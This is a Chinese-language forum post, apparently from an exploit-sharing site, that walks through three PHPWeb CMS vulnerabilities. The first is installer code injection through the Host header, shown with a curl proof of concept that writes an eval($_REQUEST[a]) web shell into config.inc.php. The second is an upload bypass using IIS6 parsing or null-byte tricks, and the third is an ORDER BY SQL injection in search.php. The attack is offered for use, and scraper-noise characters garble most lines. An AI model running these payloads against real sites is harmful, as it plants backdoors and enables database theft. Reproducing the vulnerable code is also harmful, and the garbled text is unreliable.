注入:
5 N7 Z' f, `4 { I/ _0 x7 r- J1 w; _, }
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
! |/ u* [/ h0 ?. @0 e
; T0 a2 `" A5 ]鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件' w& d/ |3 j! [4 [9 W5 u
鸡肋2: 有一定安全常识的站长都会删掉 install 目录8 M2 |1 @2 o# ^( `/ }/ L
0 g: J# _/ \, |: q1 I1 V虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响+ a) H: m- f; G0 F7 }' k- y
/ g1 y+ |5 |1 [; v分析:3 L2 F1 U3 U% F* j7 d
) c6 f, E) j7 i7 n" t
4 P0 ]% F9 `+ W/ P$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤* F. A- w7 B; `+ Z5 p
/ G1 L$ r7 p1 D* S6 o
$filestr = fread(fopen($SysConfigFile, 'r'),30000);: N( }# c c! ]5 `% r
$filestr=str_replace(" ","",$filestr);
0 x) ~2 B+ l& `/ M( h $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
8 ^& U: z0 T! j' }' r5 j: n) V $filestr=str_replace("DefaultDbName",$dbname,$filestr);
8 J9 w2 N1 V/ h0 y $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; j: m2 o5 G" Y8 c: f, `
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);$ j4 N# |* v/ k: F% S8 {" F
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$ _+ ]& o8 K* Q; M+ h, W, o $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);# H, ?" \$ p6 D+ x
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 m) Z; H) T* W* } 8 l# K# x7 ]" G* z6 V
fwrite(fopen($ConFile,"w"),$filestr,30000);( {5 |1 H% |3 ~) ]: |% }
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
: m- C# j& I* K2 i9 [' c3 ]- G) Z1 z 3 H" N4 ^) C% C" {* A* d3 r
poc:) o: C6 I: a- `2 T1 e. b# K
( }' e; d. F) `% d- M& k: y# c [+ ^) m?
3 Y" I& T4 y+ q1$ L4 j. M, r9 u' p) \% P
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#") M2 j( s ~! ?9 Q/ `& Z, }; T4 q
shell地址: /config.inc.php% }3 g! F; S9 o# F4 h: I# v( E0 L: {
跟之前的 phpcms一样 需要远程数据库) u) [# U' ~7 S9 _2 W% V! J+ O% s
# I. Y. ?4 Y* P5 _——————————————————–
! Z8 G1 s3 @! I9 `9 k9 i/ P: I/ s上传漏洞(需要进后台): R/ `8 w3 c8 S/ N3 a
漏洞文件: /kedit/upload_cgi/upload.php! ^& `' H) Q. g# e
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
. N, U) k. `/ m- {: [7 f 8 w# `, W( m5 T3 o/ x( H* I
6 O$ C% v2 g5 w<?php
% Y, M3 Q* s6 `/ d* ~ define("ROOTPATH", "../../");
, I# E6 P! j9 f7 D6 T. m include(ROOTPATH."includes/admin.inc.php");) O' R% k2 Z3 p6 j d+ n+ t7 V
NeedAuth(0);
% w7 p1 {2 L% T. `. g
' J* c4 J/ ?4 g1 U& p/ b $dt=date("Ymd",time());6 b3 v% U$ G2 n8 Y
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
0 H8 G/ H9 o! N& f$ P @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777); _+ h7 V2 R1 B- Y0 }
}( {5 m9 ^! ]; j0 d* [/ {7 [) C
j( N+ y4 K; r! p //文件保存目录路径) O7 t, g( e5 ]3 l) u8 f* y1 ?$ m
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';& d7 h3 Q; d! ~/ m
echo $save_path;- J$ X# e" o$ Z% N0 F5 _+ B
//文件保存目录URL
) s1 X+ V/ S7 [) I( ]6 u/ n $save_url = '../../'.$_POST['attachPath'].$dt.'/';( N( {2 Q% @5 @8 c1 s+ k. N
- E7 X+ p+ l! ]- @+ P7 C: @ //定义允许上传的文件扩展名
6 [2 q6 m4 Q. l; _+ b6 k $ext_arr = array('gif','jpg','png','bmp'); //限制后缀- p" ~2 K# R# g; A1 r8 x: _" h$ C
; `9 f( v, [# m" k4 w+ H
//最大文件大小8 z' S$ O& {( c9 y* e& d
$max_size = 1000000;+ c( Y. } E6 v* k* t
( l6 l$ `, p4 y' @- K //更改目录权限
3 R+ u* J% ~: [, m; J |. D) m @mkdir($save_path, 0777);# O8 U0 b- m9 N6 a" k
- S( k) Q0 n9 X& I0 N1 C
//文件的全部路径8 K8 F& K+ q# r4 @8 [& R" h
$file_path = $save_path.$_POST['fileName']; //保存文件名
# O: `! k& T1 F- _ : g* F) A5 ~$ l7 Z9 w6 b* Q
//文件URL
. n6 N- q! U) F- D, z: g) P $file_url = $save_url.$_POST['fileName'];: G! Q6 }* ~0 M4 i6 ]& ?
//有上传文件时8 K! @% L E( {/ U$ d& g' H
if (empty($_FILES) === false) {
, O1 b4 W$ ?- N: w " k9 ^6 @ F0 L% j3 c
//原文件名
; ~, b J! x6 d! H $file_name = $_FILES['fileData']['name'];
8 h9 ^) w9 A+ m) C //服务器上临时文件名
0 t" z, A$ r( Y. y2 Q $tmp_name = $_FILES['fileData']['tmp_name'];
9 t8 @# Q2 Z$ H7 g" ` //文件大小7 N& {* }7 H' T+ B B) x5 @0 x( G; v/ V
$file_size = $_FILES['fileData']['size'];
( \) j% x0 `9 K" @& Q+ e# c0 o0 h //检查目录0 i( T4 A9 w4 O
if (@is_dir($save_path) === false) {2 h! c' v$ G# ?, b% i
alert("上传目录不存在。");
9 |# H# N" K u# I( a9 y; R# W }
" k8 T L1 i9 I1 E, K3 K7 b //检查目录写权限; i2 ~% v9 W# _, H8 Z
if (@is_writable($save_path) === false) {, F: f7 l" ^/ d9 Z
alert("上传目录没有写权限。");2 C. O8 ?/ v% `* ^
}4 ~% ^) U" T+ {* C3 s3 S
//检查是否已上传
. }% f6 _. _7 R: S8 Z if (@is_uploaded_file($tmp_name) === false) {" a1 ?- X+ u9 E5 S
alert("临时文件可能不是上传文件。");2 L( U5 i U! t1 f8 u$ D
}/ a L9 C0 D# P
//检查文件大小. O# M% Y3 C4 v( ~4 z) y8 k" U
if ($file_size > $max_size) {
, A4 e! C4 K( } h, V5 b; u# M alert("上传文件大小超过限制。");
1 M; `: Y" d. U$ l }' b" M/ q' X1 a+ f( K6 Z
//获得文件扩展名
7 T" A2 y i; w: O6 I $temp_arr = explode(".", $_POST['fileName']);
* W2 a, f6 {, w! D, p$ \ $file_ext = array_pop($temp_arr);! F' J1 _0 g* T' V1 m7 j' E
$file_ext = trim($file_ext);
3 ]1 v7 ?: f2 K/ M, r# [) x $file_ext = strtolower($file_ext);$ ~+ m: p2 o% i7 p) d% o: v! Q
$ S( n+ l+ L; W' \ //检查扩展名 ( d' l& L- \0 B
if (in_array($file_ext, $ext_arr) === false) {
- Z( b# ~$ t4 c& r" E. N q) u alert("上传文件扩展名是不允许的扩展名。");
3 O W0 D! j( ?% _' j; a }3 s1 ]3 X$ w/ R
# p" _" K# l" K! [! ^% K# s2 T4 w: ]
//移动文件
- g2 ?" Y2 d. \9 ], Q //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
; F5 X: s; p* I) q if (move_uploaded_file($tmp_name, $file_path) === false) {
% l5 }" z$ `( }6 ~ alert("上传文件失败。");- S5 [# Q* D/ C6 W, N) y ^. F
}9 d C/ F6 N7 _9 _
- x3 W* ^& X- m' {& W( O @chmod($file_path,0666);( Y' k/ X' {% {: @3 Q- b
) x, U0 F1 A. E9 E7 P1 f
?>1 Y) ~: ] ]7 y$ v$ [3 u
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
2 s" i3 d8 W& s* A7 I1 @ 7 J$ q( H( F( F: h8 O
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过) Y) ?2 Q7 T* a6 H# A2 m
z1 |2 S* F& i# n( D
——————————————————
6 h, A0 p* h- c3 T( D/ y5 R0 m注入漏洞:1 d4 W$ `/ Y- X" o( Q! Z: J3 f
漏洞文件:search/module/search.php1 `$ ~# f! K* L8 q3 w2 K0 H/ v9 K
/search/index.php?key=1&myord=1 [sqlinjection]. U; ?% L" v+ q+ v
6 h8 p9 x3 N+ \& s. y: p: G4 ?
6 N- h( y6 P1 w6 N& `& b
<?php6 d% d( D8 N q3 \1 y! n+ N
// ... 省略 n 行.../ |6 O% P+ `/ h6 r) s- V; I
//第18行:
4 o5 J; h% A0 M4 w; G3 T( { $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
. O3 k7 \. a$ n/ W4 ~ $page=htmlspecialchars($_GET["page"]);
2 o0 A+ W7 @' X+ ~3 E $myord=htmlspecialchars($_GET["myord"]);
+ r" A8 |: E& Q& J
1 L6 {# s( i' y# a: [+ [1 l5 C // ... 省略 n 行...
: p/ w8 L% F8 w" M5 V3 y $key,$myord 两个参数带入查询# S+ ]+ p2 p: `8 B9 w
//第47行 $key:4 y0 V7 c# S& W- n# a
& W! B/ K5 |1 Z $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
: s$ @4 w- A) S% L" A, K' j 7 k' z2 z5 x N w2 f. ]
//第197行 $myord4 n0 W8 \7 j9 a( Y2 R
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入. Z# @! e& I/ q$ Y: Z% T% u/ {
7 \ ~' V6 |5 B# y8 S4 b8 ?, v# [. j
?> z" }/ J n3 @ o, O' R9 x
|